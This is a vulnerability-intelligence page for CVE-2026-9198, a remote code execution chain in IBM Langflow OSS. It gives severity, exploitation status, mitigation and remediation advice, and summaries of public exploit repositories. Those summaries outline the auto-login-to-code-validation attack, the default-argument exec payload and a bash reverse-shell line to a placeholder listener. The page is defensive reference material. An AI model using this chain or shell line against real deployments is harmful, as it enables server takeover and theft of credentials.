CriticalExploited in the wildCISA KEVPublic exploitVulnerability

CVE-2026-9198

Unauthenticated Remote Code Execution in IBM Langflow OSS

Published Jul 17, 2026 · Updated 12 days ago

Trending this weekNot trendingOutside this week’s top 100

Mention activity · 30 days

1 mention · peak 1 in a dayToday

CVSS9.8Critical · v3.1

EPSS28.7%98th percentile

CISA KEVYesAdded Aug 4, 2026

In the wildActivePer CISA KEV

Vendors: LangflowInternational Business Machines

IdentifiersCVE-2026-9198CWE-94 · Improper Control of Generation of…

CVE-2026-9198 is a code injection vulnerability in IBM Langflow OSS versions 1.0.0 through 1.10.0 that permits unauthenticated remote code execution on default-configured deployments. An attacker chains an auto-login endpoint that issues SUPERUSER bearer tokens without authentication with a code validation endpoint that executes attacker-supplied Python through exec(). During validation, Python decorators, default arguments, and annotations can execute at function definition time, allowing arbitrary commands to run on the server. The vulnerability has a CVSS v3.1 score of 9.8 and was added to CISA's Known Exploited Vulnerabilities catalog on August 4, 2026.

Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.

Check your exposure

Analyst brief

Impact, mitigation & remediation

What it means and what to do now: patch path, interim mitigations, and the assume-compromise checklist.

Impact

What an attacker gets, and what they’ve been doing with it.

Successful exploitation compromises the confidentiality, integrity, and availability of the Langflow deployment through arbitrary code execution with the Langflow server process's privileges. Attackers can obtain application-level superuser access, read or modify accessible workflows and data, steal model-provider API keys, database credentials, connector tokens, and other secrets, and disrupt service. Access to connected systems or the underlying host depends on the process's permissions, available credentials, and deployment isolation.

Mitigation

If you can’t patch tonight, do this now.

IBM lists no official workaround or mitigation for this vulnerability. Pending upgrade, reduce exposure by removing direct internet access, restricting connectivity to trusted users through a VPN or authenticating reverse proxy, disabling automatic login, and restricting access to code validation endpoints. These measures reduce access to the exploit chain but are not a substitute for patching. Review authentication and application activity, persistence mechanisms, and unexpected outbound connections on potentially compromised hosts.

Remediation

Patch, then assume compromise.

Upgrade IBM Langflow OSS to version 1.10.1 or a later supported release containing the fix. For containerized deployments, redeploy using updated images rather than modifying vulnerable containers in place. Investigate previously exposed instances for compromise and rotate potentially exposed credentials and secrets; patching alone does not remove existing attacker access.

Public exploits

Exploits

10 exploits validated by Mallory's analysis. Hidden: 2 rejected by Mallory's analysis as not a working exploit; 2 not yet analyzed, such as Exploit-DB entries.

View more in app →

CVE-2026-9198Repository contains a functional exploit for IBM Langflow OSS unauthenticated RCE, plus a Nuclei template for detection/verification. The main Python script CVE-2026-9198.py is the operational exploit: it normalizes a target URL, optionally defaults to http://<target>:7860, attempts unauthenticated token retrieval from /api/v1/auto_login, and then abuses /api/v1/validate/code by embedding attacker-controlled Python inside a function default argument so execution occurs during server-side exec(). Command output is exfiltrated by raising an exception containing subprocess.check_output() results and reading function.errors[0] from the response. The script supports three primary modes: single command execution, an interactive pseudo-shell that repeatedly issues commands and updates prompt context using whoami/pwd/echo $HOME, and a reverse shell mode that launches bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'. The YAML file is a Nuclei template that performs the same exploit chain in two HTTP requests: GET /api/v1/auto_login to extract a token, then POST /api/v1/validate/code with an id command and match uid/gid in the response. README.md documents installation, usage, examples, and mitigation. Overall, this is a real exploit repository, not just a detector; it provides unauthenticated RCE capability against vulnerable Langflow deployments where auto-login is enabled.0xgh057r3c0n · Disclosed Jul 24, 2026 · Framework: nuclei · python · yaml · web · networkWeaponized CVE-2026-9198This repository is a minimal Nuclei exploit template for CVE-2026-9198 targeting IBM Langflow OSS 1.0.0 through 1.10.0 and forks. The repository contains three files: a single YAML template (the only code artifact), a LICENSE, and a short README. Because it is a Nuclei template, the main logic is entirely in 2026-9198.yaml. The exploit performs a two-step web attack flow. First, it sends a GET request to /api/v1/auto_login and checks for access_token and refresh_token in a 200 OK response, extracting the access token as a JWT. Second, it sends a POST request to /api/v1/validate/code with an Authorization: Bearer header and a JSON body containing Python code. That code abuses the target's unsafe exec()-based validation path to run a shell command via Python's subprocess module. The included proof payload executes id and causes the output to be reflected back in the response, where the template matches uid/gid text to confirm successful RCE. Capabilities: unauthenticated authentication bypass/token acquisition, authenticated arbitrary Python execution, command execution on the underlying host, and response-based verification of execution. The template is operationally useful rather than purely descriptive because it includes a working payload and automated success matchers. It is not just a detector; it actively triggers code execution. Notable targeting metadata in the template identifies IBM Langflow, default ports 7860 and 443, and search fingerprints such as title:"langflow" and title/body matches for Langflow. The README only states the CVE and affected product, while the LICENSE is standard MIT text.samael0x4 · Disclosed Jul 28, 2026 · Framework: nuclei · yaml · markdown · web · networkWeaponized CVE-2026-9198_exploitThis repository is a small standalone Python exploit for IBM Langflow OSS unauthenticated RCE, consisting of only two files: a README and a single executable script (`exploit.py`). The exploit chains two vulnerabilities: CVE-2026-9103, where `/api/v1/auto_login` returns a superuser JWT to an unauthenticated caller when AUTO_LOGIN is enabled, and CVE-2026-8481, where `/api/v1/validate/code` executes attacker-controlled Python via `exec()` during code validation. The script first normalizes the target URL, then either uses a supplied bearer token or requests one from the auto_login endpoint. It submits a JSON body containing Python wrapped as a function default argument (`def _v(a=exec(...))`) so the payload executes at definition time when Langflow validates the code. For command execution, it runs shell commands through Python's `subprocess.check_output(..., shell=True, stderr=STDOUT)` and raises an exception containing the output, which Langflow reflects in `function.errors[0]`; the exploit parses that field and prints the result. Operational capabilities include default `id` execution for verification, arbitrary single-command execution, an interactive pseudo-shell that sends one request per command, and a bash reverse shell callback to an attacker-controlled host and port. The exploit uses only Python standard library modules (`argparse`, `json`, `sys`, `urllib.request`, `urllib.error`) and is clearly intended as a working offensive exploit rather than a detector or proof-only script.0xdak · Disclosed Jul 21, 2026 · markdown · python · web · networkOperational CVE-2026-9198This repository is a small educational exploit lab for CVE-2026-9198 affecting IBM Langflow OSS. It contains one Python PoC (poc.py), a README, and two Docker Compose files for vulnerable and patched test environments. The exploit is real and functional: it first requests /api/v1/auto_login using GET or POST to obtain an access_token without authentication when auto-login is enabled, then submits attacker-controlled Python code to /api/v1/validate/code with a Bearer token. The payload uses Python exec() and subprocess.check_output(..., shell=True) to run a shell command on the target; by default it runs 'id' and reflects output through an exception message parsed from the API response. This gives remote code execution, not just detection, although the included payload is basic and hardcoded, making the maturity OPERATIONAL rather than weaponized. The repository structure supports local validation: vulnerable/docker-compose.yaml deploys postgres plus langflowai/langflow:1.10.0 bound to 127.0.0.1:9999 with LANGFLOW_AUTO_LOGIN=true, while patched/docker-compose.yaml uses langflowai/langflow:1.10.1 to demonstrate failed exploitation. Overall, the repo’s purpose is to demonstrate and verify an unauthenticated token-minting plus code-validation RCE chain against Langflow.ywh-jfellus · Disclosed Jul 24, 2026 · markdown · python · web · networkOperational PoC-CVE-2026-9198This repository is a minimal proof-of-concept exploit for CVE-2026-9198 affecting Langflow versions earlier than 1.10.0. It contains two files: a short README with usage instructions and a single Python exploit script, poc.py, which is the clear entry point. The script uses the requests library and argparse for a simple two-stage attack flow. Stage 1 sends a GET request to /api/v1/auto_login and expects a JSON response containing an access_token. The code treats this as a SUPERUSER token, indicating the vulnerability includes an authentication bypass or insecure auto-login behavior. Stage 2 uses that bearer token in a POST request to /api/v1/validate/code and submits attacker-controlled Python code in the JSON field code. The injected code imports subprocess and executes the operator-provided shell command with shell=True, capturing stdout and stderr and surfacing the output through an exception string. The exploit's main capability is authenticated remote code execution achieved through an unauthenticated token acquisition step followed by abuse of a code-validation endpoint. It is not a scanner or detector; it is an active exploit that executes arbitrary commands on the target host. The payload is basic but functional and operator-controlled, making the exploit operational rather than a mere conceptual PoC. The repository is small, focused, and purpose-built for exploiting a vulnerable Langflow web/API service.rmhowe425 · Disclosed Aug 5, 2026 · python · markdown · web · networkOperational CVE-2026-9198This repository is a small standalone Python proof-of-concept exploit for CVE-2026-9198 affecting IBM Langflow OSS, described in the README as impacting versions 1.0.0 through 1.10.0 when autologin is enabled by default. The repository contains only three files: an MIT LICENSE, a short README explaining the vulnerability chain, and a single executable script, poc.py. The exploit logic in poc.py is straightforward and operational. It accepts a target base URL and an optional command. It first probes the web endpoint /api/v1/auto_login using both GET and POST; if either returns HTTP 200, it extracts an access_token from the JSON response. That token is then used as a Bearer token in a POST request to /api/v1/validate/code. The submitted JSON contains a crafted Python function definition whose default argument executes arbitrary Python via exec(). That Python imports subprocess and runs the attacker-supplied shell command with shell=True, capturing stdout/stderr. The output is intentionally raised as an exception so it is reflected back through the API response, where the script reads it from the function.errors field. Capabilities: the exploit can both verify vulnerability and achieve authenticated remote code execution. By default it runs a harmless echo marker to test exploitability; when the user supplies -e/--exec, it executes an arbitrary shell command and prints the returned output. This makes it more than a pure detector, but it is still a simple PoC rather than a weaponized framework module. There are no hardcoded external IPs or domains. The only fingerprintable targets are the Langflow application endpoints /api/v1/auto_login and /api/v1/validate/code, plus the use of a Bearer token in the Authorization header. The exploit is clearly intended for remote web exploitation of a vulnerable Langflow instance.CuteeCat · Disclosed Aug 11, 2026 · python · markdown · web · networkOperational CVE-2026-9198The repository contains a README and one Python entry-point, exploit.py. It is a standalone operational RCE exploit rather than a detection-only tool or a known exploit-framework module. The script accepts a target URL, listener host, listener port (default 4444), and timeout. It first performs a TCP reachability check against the supplied target, starts a local interactive TCP listener, requests a bearer token from GET /api/v1/auto_login, then POSTs a JSON object containing attacker-controlled Python to /api/v1/validate/code with Authorization: Bearer <token>. The submitted code is constructed to execute a Python reverse shell: it double-forks, creates a TCP connection back to the supplied listener, creates a PTY, and launches /bin/bash -i. The listener places the operator terminal in raw mode and relays data to provide an interactive shell. The README describes the claimed vulnerability as CVE-2026-9198, affecting IBM Langflow OSS 1.0.0–1.10.0 and fixed in 1.10.1, and also includes defensive fingerprinting, logging, and remediation guidance. No fixed victim hostname, IP address, or hardcoded command-and-control server is present; both target and callback endpoint are operator supplied.K3ysTr0K3R · Disclosed Aug 22, 2026 · python · markdown · networkOperational EXPLOIT-CVE-2026-9198This six-file repository is a standalone Python proof-of-concept and deliberately vulnerable Docker Compose lab for a claimed IBM Langflow OSS unauthenticated RCE chain. The main entry point, exploit.py, uses requests and exposes CLI options for a target URL, arbitrary command, optional supplied bearer token, TLS-verification bypass, request timeout, and configurable reverse-shell callback. It first requests /api/v1/auto_login to retrieve a purported SUPERUSER access token, then POSTs attacker-controlled Python source to /api/v1/validate/code using that token. The crafted source abuses evaluation of a function default argument to execute Python during validation. Command mode invokes a base64-wrapped shell command and intentionally raises an exception containing captured output, which the tool extracts from function.errors. Reverse-shell mode connects back to an operator-defined TCP listener and launches /bin/sh -i. docker-compose.yml creates a local-only lab with langflowai/langflow:1.10.0, PostgreSQL 16, LANGFLOW_AUTO_LOGIN=true, and Langflow published only at 127.0.0.1:9999. README.md provides exploitation, lab setup, mitigation, and version claims; requirements.txt contains only requests>=2.28. No external repository URL, git reference, or archive size was supplied in the analyzed content.joaovicdev · Disclosed Aug 29, 2026 · python · yaml · network · webOperational langflow-cve-2026-9198The supplied repository contains eight files: two standalone Python scripts, one HTML/CSS publication, four Markdown documents, and a .gitignore. The main exploit, poc/poc_takeover.py, chains unauthenticated auto-login token retrieval with authenticated submission of a malicious Python function definition to the code-validation endpoint. Evaluation of its default argument runs a shell command and raises an exception carrying the output. It defaults to 'id', accepts a custom command, disables HTTPS certificate verification, uses a 20-second request timeout, and identifies itself as CVE-2026-9198-lab-poc/1.0. There is no enforced localhost restriction despite lab-only documentation. The --verify option is an active exploitation check, not passive detection, and the script has no version check. The separate recon script searches Shodan, rotates API keys on access or quota failures, resumes from saved results, deduplicates by IP rather than IP-and-port, and exports JSONL, CSV, and summary files. Its User-Agent is vdp-hunt-recon/1.0. It makes no requests to discovered Langflow hosts. A referenced active-triage script, scripts/triage_langflow.py, is absent, and the documented output directory differs from the directory actually constructed by the code. The claim that the API-key file is gitignored is not supported by the supplied .gitignore. The README, write-up, validation log, and transcript claim reproduction on Langflow 1.10.0, a negative control on 1.10.1, application execution as uid 1000 with group 0, and creation of /tmp/lf_poc_marker. These are supplied claims, not independently verified results. Notably, the transcripts show complete JSON responses whereas the script prints extracted error text; one file-write example places output under imports.errors, which the script does not inspect. Consequently, successful execution can be reported as failure, and nonempty validation errors can be mistaken for successful execution. Unescaped command interpolation can also break the generated Python for commands containing quotes. No persistence, reverse-shell callback, credential exfiltration, or container escape is implemented. Mentions of Nuclei do not make this a framework module. The HTML content is partially truncated, limiting complete inspection of that file. The repository URL is inferred from its references; no analyzed Git ref or archive size was supplied, and size_bytes records the sum of the listed file sizes rather than a verified archive size.Riftweld · Disclosed Oct 12, 2026 · python · html · web · networkOperational CVE-2026-9198The repository contains one standalone Python exploit, CVE-2026-9198.py (788 bytes), and a README.md (678 bytes) describing the claimed vulnerability and an authorized-use disclaimer. No exploit framework is used. The script first requests /api/v1/auto_login without credentials. If the response status is 200, it extracts access_token, prints bearer authorization headers, and posts a Python function definition to /api/v1/validate/code. A default-argument expression invokes os.system during function definition, attempting to append the service account's identity to /tmp/testexec.txt. This is an active exploitation attempt with a basic hardcoded payload, not merely a detection script. It contains no reverse shell, external callback, or output retrieval. Error handling is minimal: only the initial HTTP status is checked, and response JSON and token structure are assumed valid. The README attributes the issue to IBM Langflow OSS versions 1.0.0 through 1.10.0 and identifies CVE-2026-9198; those claims and successful exploitation are not independently verified by the supplied material. Repository URL, git reference, and archive size were not provided; empty strings and a zero size represent unavailable metadata.Edward-w-Jack · Disclosed Nov 12, 2026 · python · network · webOperational

Exposure surface

Affected products & vendors

Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.

VendorProductType

International Business MachinesLangflow Ossapplication

LangflowLangflowapplication

External references

References

MITRE CVEcve.org · CVE-2026-9198 NVDnvd.nist.gov/vuln/detail/CVE-2026-9198 MITRE CWE · CWE-94Improper Control of Generation of Code ('Code…Vendor Advisoryibm.com/support/pages/node/7278927 US Government Resourcecisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-9198

Activity feed

Recent activity

72 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →

the hacker newsNews · Nov 2, 2026Critical Langflow Flaws Could Let Unauthenticated Attackers Run Code on ServersPreviously known Langflow vulnerability mentioned as background because it was added to CISA's Known Exploited Vulnerabilities catalog in August. The content provides no technical details, affected versions, or remediation information.Read more ↗mkd cirtNews · Oct 15, 2026Критичната ранливост во Langflow што овозможува далечинско извршување код се цел на 1.423 обиди за експлоатација забележани преку honeypot-системи | MKD-CIRT | Национален центар за одговор на компјутерски инцидентиUnknownRead more ↗cert az security alertsNews · Sep 1, 2026- Elektron Təhlükəsizlik XidmətiA remote code execution vulnerability reported in the IBM Langflow OSS platform.Read more ↗vulncheck blogNews · Aug 28, 2026Same Target, Different Playbooks: Two Attackers, Two Different Paths to Pwning the AI Stack | Blog | VulnCheckA critical Langflow code-injection vulnerability enabling remote code execution.Read more ↗

+18 more in the timeline. Sign up to see them

Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.

Check your exposure

Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets are affected, which adversaries are exploiting it right now, and which detections to deploy tonight.

Start Free Trial Open in App ↗

Exposure mappingQuery your assets running an affected version, and investigate the blast radius.

Threat actor evidenceEvery report linking this CVE to a named adversary.

Associated malwareMalware families linked to this CVE, with evidence and IOCs.

Detection signatures3YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

Vendor-by-vendor mappingCross-references every affected SKU, including bundled OEM variants.

Social activity44Community discussion across Reddit, Mastodon, and other social sources.